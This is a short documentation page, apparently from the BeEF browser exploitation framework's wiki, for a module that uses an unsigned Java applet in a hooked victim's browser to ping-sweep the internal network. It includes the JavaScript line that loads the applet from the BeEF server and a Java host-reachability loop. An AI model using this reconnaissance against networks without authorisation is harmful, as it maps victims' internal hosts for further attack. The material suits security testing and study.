Clone
3
Module: Ping Sweep (Java)
Haoxi Tan edited this page 2020-01-08 08:42:19 +10:00

Summary

  • Objective: Perform a ping sweep of the network via Java

  • Authors: antisnatchor

  • Browsers: Safari, Opera, IE

  • Code

Internal Working

Uses an unsigned Java applet to ping hosts in the network.

  • the user will be prompted for permissions to run an unsigned java applet
  • unsigned appletes don't run at all for later Java and Browser versions

snippet from command.js


beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);

java snippet

private static String checkHosts(List<InetAddress> inetAddresses) throws IOException {
    String alive = "";
    for (InetAddress inetAddress : inetAddresses) {
        if (inetAddress.isReachable(timeout)) {
            alive += inetAddress.toString() + "\n";
        }
    }
    return alive;
}

Screenshots

Images/module-ping-sweep-java1.png

Feedback